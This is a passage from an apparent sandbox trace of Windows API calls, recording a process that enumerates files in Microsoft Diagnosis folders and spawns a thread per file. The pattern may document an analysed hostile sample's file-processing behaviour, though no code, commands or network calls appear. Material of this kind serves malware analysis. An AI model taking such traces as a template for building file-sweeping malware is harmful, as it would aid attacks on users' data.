lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434068 [0072.429] wcscmp (_String1=".", _String2=".") returned 0 [0072.429] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.429] wcscmp (_String1="..", _String2=".") returned 1 [0072.429] wcscmp (_String1="..", _String2="..") returned 0 [0072.429] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.430] FindClose (in: hFindFile=0x3434068 | out: hFindFile=0x3434068) returned 1 [0072.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed430) returned 1 [0072.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0072.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427958) returned 1 [0072.430] RtlExitUserThread (Status=0x0) Thread: id = 550 os_tid = 0x1134 [0072.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dcb0 [0072.432] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc" [0072.432] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\" [0072.432] wcscat (in: _Dest=0x347dcb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\*" [0072.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed430 [0072.432] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434068 [0072.432] wcscmp (_String1=".", _String2=".") returned 0 [0072.432] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.432] wcscmp (_String1="..", _String2=".") returned 1 [0072.432] wcscmp (_String1="..", _String2="..") returned 0 [0072.432] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.432] FindClose (in: hFindFile=0x3434068 | out: hFindFile=0x3434068) returned 1 [0072.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed430) returned 1 [0072.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0072.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34279c0) returned 1 [0072.433] RtlExitUserThread (Status=0x0) Thread: id = 551 os_tid = 0x1138 [0072.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479bc8 [0072.434] wcscpy (in: _Dest=0x3479bc8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.434] wcscat (in: _Dest=0x3479bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.434] wcscat (in: _Dest=0x3479bc8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\*" [0072.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed430 [0072.434] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434068 [0072.436] wcscmp (_String1=".", _String2=".") returned 0 [0072.436] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.437] wcscmp (_String1="..", _String2=".") returned 1 [0072.437] wcscmp (_String1="..", _String2="..") returned 0 [0072.437] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0072.437] wcscmp (_String1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", _String2=".") returned 1 [0072.437] wcscmp (_String1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", _String2="..") returned 1 [0072.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3435048 [0072.437] wcscpy (in: _Dest=0x3435048, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.437] wcscat (in: _Dest=0x3435048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.437] wcscat (in: _Dest=0x3435048, _Source="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" [0072.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0072.711] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0072.711] wcscmp (_String1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", _String2=".") returned 1 [0072.711] wcscmp (_String1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", _String2="..") returned 1 [0072.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x33ddef0 [0072.711] wcscpy (in: _Dest=0x33ddef0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.711] wcscat (in: _Dest=0x33ddef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.711] wcscat (in: _Dest=0x33ddef0, _Source="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" [0072.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ddef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0072.712] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0072.712] wcscmp (_String1="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", _String2=".") returned 1 [0072.712] wcscmp (_String1="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", _String2="..") returned 1 [0072.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x34356c8 [0072.712] wcscpy (in: _Dest=0x34356c8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.712] wcscat (in: _Dest=0x34356c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.712] wcscat (in: _Dest=0x34356c8, _Source="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" [0072.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34356c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0072.713] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0072.713] wcscmp (_String1="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", _String2=".") returned 1 [0072.713] wcscmp (_String1="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", _String2="..") returned 1 [0072.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476e50 [0072.713] wcscpy (in: _Dest=0x3476e50, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.713] wcscat (in: _Dest=0x3476e50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.713] wcscat (in: _Dest=0x3476e50, _Source="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" [0072.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0072.714] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0072.714] wcscmp (_String1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", _String2=".") returned 1 [0072.714] wcscmp (_String1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", _String2="..") returned 1 [0072.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434d08 [0072.714] wcscpy (in: _Dest=0x3434d08, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.714] wcscat (in: _Dest=0x3434d08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.714] wcscat (in: _Dest=0x3434d08, _Source="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" [0072.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0072.715] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0072.715] wcscmp (_String1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", _String2=".") returned 1 [0072.715] wcscmp (_String1="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", _String2="..") returned 1 [0072.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476940 [0072.715] wcscpy (in: _Dest=0x3476940, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.715] wcscat (in: _Dest=0x3476940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.715] wcscat (in: _Dest=0x3476940, _Source="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" [0072.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0072.715] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0072.716] wcscmp (_String1="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", _String2=".") returned 1 [0072.716] wcscmp (_String1="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", _String2="..") returned 1 [0072.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3435118 [0072.716] wcscpy (in: _Dest=0x3435118, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.716] wcscat (in: _Dest=0x3435118, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.716] wcscat (in: _Dest=0x3435118, _Source="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" [0072.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0072.716] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0072.716] wcscmp (_String1="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", _String2=".") returned 1 [0072.716] wcscmp (_String1="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", _String2="..") returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476508 [0072.717] wcscpy (in: _Dest=0x3476508, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.717] wcscat (in: _Dest=0x3476508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.717] wcscat (in: _Dest=0x3476508, _Source="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" [0072.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0072.717] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0072.717] wcscmp (_String1="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", _String2=".") returned 1 [0072.717] wcscmp (_String1="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", _String2="..") returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x34351e8 [0072.717] wcscpy (in: _Dest=0x34351e8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.718] wcscat (in: _Dest=0x34351e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.718] wcscat (in: _Dest=0x34351e8, _Source="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" [0072.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34351e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0072.718] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0072.718] wcscmp (_String1="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", _String2=".") returned 1 [0072.718] wcscmp (_String1="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", _String2="..") returned 1 [0072.718] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476790 [0072.718] wcscpy (in: _Dest=0x3476790, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.718] wcscat (in: _Dest=0x3476790, _Source="\\" | out: 